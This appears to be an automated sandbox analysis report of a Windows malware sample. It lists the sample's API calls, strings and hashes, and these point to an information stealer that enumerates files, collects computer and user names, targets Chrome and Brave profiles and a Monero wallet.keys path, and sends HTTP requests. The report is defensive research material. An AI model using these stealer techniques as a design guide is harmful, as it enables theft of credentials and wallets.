Sleep.KERNEL32(00001770), ref: 006E6B04
CloseHandle.KERNEL32(?,00000000,?,00E48F98,?,006F110C,?,00000000,?,006F1110,?,00000000,006F0AEF), ref: 006E6B1A
ExitProcess.KERNEL32 ref: 006E6B22

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 0ddc82d55d151674c111cbd59c3715e79f132e7ff74e4717d64382aa3c40341d
Instruction ID: c1f0884149725e845958f23a902dddac38bff1a0df55009cd0995ba3b84ddb90
Opcode Fuzzy Hash: 0ddc82d55d151674c111cbd59c3715e79f132e7ff74e4717d64382aa3c40341d
Instruction Fuzzy Hash: C5F08930E46349EFE740ABA1DD16BFD7735FB14781F108528F513A11C1DBB05941EA56

Function 006D47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006D4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 006D4849

Strings

<, xrefs: 006D47C9

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 09d4f76c86cf7483047ba0053cd3ce70ca7b0114fa94e9e636f6b7c971649ece
Instruction ID: 95e2f88ce8a667656303d91b7893444136394bc37342d7d3466ba4e01fd7247c
Opcode Fuzzy Hash: 09d4f76c86cf7483047ba0053cd3ce70ca7b0114fa94e9e636f6b7c971649ece
Instruction Fuzzy Hash: 63214FB1D01308ABDF14DFA5E845ADE7B75FB45320F108629F919A72C1EB706A05CF92

Function 006E51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D6280: InternetOpenA.WININET(006F0DFE,00000001,00000000,00000000,00000000), ref: 006D62E1
Part of subcall function 006D6280: StrCmpCA.SHLWAPI(?,00E4EAE8), ref: 006D6303
Part of subcall function 006D6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006D6335
Part of subcall function 006D6280: HttpOpenRequestA.WININET(00000000,GET,?,00E4E248,00000000,00000000,00400100,00000000), ref: 006D6385
Part of subcall function 006D6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006D63BF
Part of subcall function 006D6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006D63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006E5228

Strings

ERROR, xrefs: 006E5273
ERROR, xrefs: 006E521A

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: ac4a1aede1f3a2fe6592e75ecdac2862b6ce05673e8ca8f773544731b0a643c5
Instruction ID: 972ba1513e05a50cb697e1740f68f1825be4727825d6aaae1ba0b5c9edbb781e
Opcode Fuzzy Hash: ac4a1aede1f3a2fe6592e75ecdac2862b6ce05673e8ca8f773544731b0a643c5
Instruction Fuzzy Hash: 93113370912288ABDB54FFA5DD92AED733BAF50340F41416CF90A4A192EF34BB06C695

Function 006E78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E7910
RtlAllocateHeap.NTDLL(00000000), ref: 006E7917
GetComputerNameA.KERNEL32(?,00000104), ref: 006E792F

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: ee40c70c313b6df1c99a3c03e22cca1f4beb4f50d3500e16d6b1e271be186ba5
Instruction ID: d06e591ecd4f36e49b65314c2c09da286cc798b7f9077de09a1bd0d6e3c88107
Opcode Fuzzy Hash: ee40c70c313b6df1c99a3c03e22cca1f4beb4f50d3500e16d6b1e271be186ba5
Instruction Fuzzy Hash: 080181B1A19348EBC700DF99DD45BAEBBB8FB04B21F10429AFA55E3280D3745901CBA1

Function 006D1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 006D112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 006D1132
ExitProcess.KERNEL32 ref: 006D1143

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d33ba071c5eaab3f9de98333b91fc3c784eddfb8fda34e3039c23ef60aed05e1
Instruction ID: 6d2adf3b327092410a5fef3c7ec96993d3c64c4e47470a4a7c57d33c4d0fff70
Opcode Fuzzy Hash: d33ba071c5eaab3f9de98333b91fc3c784eddfb8fda34e3039c23ef60aed05e1
Instruction Fuzzy Hash: 76E08670E5A308FBE7106BA09C0AB487678AB04B11F108085F7087A2C0C6F42A00E699

Function 006D10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006D10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006D10F7

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2857094dfb43cdfbe2a1ed6948efee8c4a431d27bdba3eda0a79a1b9ee5bf1c3
Instruction ID: cd384a4918487024af797f065baef95f133b717c824a65a4346b54637adbf227
Opcode Fuzzy Hash: 2857094dfb43cdfbe2a1ed6948efee8c4a431d27bdba3eda0a79a1b9ee5bf1c3
Instruction Fuzzy Hash: 71F0E2B1A42308BBE714AAA8AC49FEAB7E8E705B15F304449F504E7380D9719F00DAA4

Function 006D1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006E78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E7910
Part of subcall function 006E78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006E7917
Part of subcall function 006E78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006E792F

Part of subcall function 006E7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006D11B7), ref: 006E7880
Part of subcall function 006E7850: RtlAllocateHeap.NTDLL(00000000), ref: 006E7887
Part of subcall function 006E7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006E789F

ExitProcess.KERNEL32 ref: 006D11C6

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 8b19427a109ce5bb78cd4d28e55469aaa274b8114427cd2374f5c6f8e6d0accb
Instruction ID: 88323205bc1f9735009450a77c5ae988eedda20c744a64502efb32bbd1af17e6
Opcode Fuzzy Hash: 8b19427a109ce5bb78cd4d28e55469aaa274b8114427cd2374f5c6f8e6d0accb
Instruction Fuzzy Hash: DBE08CA1E2A30126CA4033B6BC0AB6E328E5B60345F040439BA0982202FA24EC00C56A

Non-executed Functions

Function 006E38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006E38CC
FindFirstFileA.KERNEL32(?,?), ref: 006E38E3
lstrcat.KERNEL32(?,?), ref: 006E3935
StrCmpCA.SHLWAPI(?,006F0F70), ref: 006E3947
StrCmpCA.SHLWAPI(?,006F0F74), ref: 006E395D
FindNextFileA.KERNEL32(000000FF,?), ref: 006E3C67
FindClose.KERNEL32(000000FF), ref: 006E3C7C

Strings

%s\%s, xrefs: 006E397A
%s\%s, xrefs: 006E3A6F
%s\*, xrefs: 006E38C0
%s\%s\%s, xrefs: 006E3A4A
%s%s, xrefs: 006E3AAD

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 1d0def47f86f6fa33bcccde3e88c5bf92e5e864645db59610ab5fbbbc5a51753
Instruction ID: bbc0924739053b5994497edc865896e2607eb0e7a0842d9eb5e73bdd661dc957
Opcode Fuzzy Hash: 1d0def47f86f6fa33bcccde3e88c5bf92e5e864645db59610ab5fbbbc5a51753
Instruction Fuzzy Hash: D1A153B1A11358ABDB64DFA5DC89FFA7379BF44300F048588A60D97241EB749B84CF62

Function 006DBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006EA920: lstrcpy.KERNEL32(00000000,?), ref: 006EA972
Part of subcall function 006EA920: lstrcat.KERNEL32(00000000), ref: 006EA982

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

FindFirstFileA.KERNEL32(00000000,?,006F0B32,006F0B2B,00000000,?,?,?,006F13F4,006F0B2A), ref: 006DBEF5
StrCmpCA.SHLWAPI(?,006F13F8), ref: 006DBF4D
StrCmpCA.SHLWAPI(?,006F13FC), ref: 006DBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 006DC7BF
FindClose.KERNEL32(000000FF), ref: 006DC7D1

Strings

Google Chrome, xrefs: 006DC634
Brave, xrefs: 006DC102
\Brave\Preferences, xrefs: 006DC1DB
Preferences, xrefs: 006DC11E

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 758aa09309855f0c86580b613ca30226315d71084eb7e452092736cd42ba38ef
Instruction ID: f6a1da02e99e775b48de340b0c88284c9cadff69427243cbb701f3f085a39d8f
Opcode Fuzzy Hash: 758aa09309855f0c86580b613ca30226315d71084eb7e452092736cd42ba38ef
Instruction Fuzzy Hash: D342B572911248ABDB54FBB1DC96EEE733FAF84300F41455CB90696181EE30AF49CB96

Function 006E4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006E492C
FindFirstFileA.KERNEL32(?,?), ref: 006E4943
StrCmpCA.SHLWAPI(?,006F0FDC), ref: 006E4971
StrCmpCA.SHLWAPI(?,006F0FE0), ref: 006E4987
FindNextFileA.KERNEL32(000000FF,?), ref: 006E4B7D
FindClose.KERNEL32(000000FF), ref: 006E4B92

Strings

%s\%s, xrefs: 006E49FB
%s\%s, xrefs: 006E49A4
%s\*, xrefs: 006E4920

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 94e834e493b46704566bd9137f13a79962654f436f4e93b3d8b2894daef966aa
Instruction ID: b0126559fcdbc3a32292763518bfb83f133fe5b1650f10200b4b8edc6151a6b0
Opcode Fuzzy Hash: 94e834e493b46704566bd9137f13a79962654f436f4e93b3d8b2894daef966aa
Instruction Fuzzy Hash: E16152B2A11218ABDB20EBB1DC45EFA737DBB48701F04858CF60996141EF75AB85CF91

Function 006E4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006E4580
RtlAllocateHeap.NTDLL(00000000), ref: 006E4587
wsprintfA.USER32 ref: 006E45A6
FindFirstFileA.KERNEL32(?,?), ref: 006E45BD
StrCmpCA.SHLWAPI(?,006F0FC4), ref: 006E45EB
StrCmpCA.SHLWAPI(?,006F0FC8), ref: 006E4601
FindNextFileA.KERNEL32(000000FF,?), ref: 006E468B
FindClose.KERNEL32(000000FF), ref: 006E46A0
lstrcat.KERNEL32(?,00E4EA08), ref: 006E46C5
lstrcat.KERNEL32(?,00E4DC80), ref: 006E46D8
lstrlen.KERNEL32(?), ref: 006E46E5
lstrlen.KERNEL32(?), ref: 006E46F6

Strings

%s\*, xrefs: 006E459A
%s\%s, xrefs: 006E461B

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
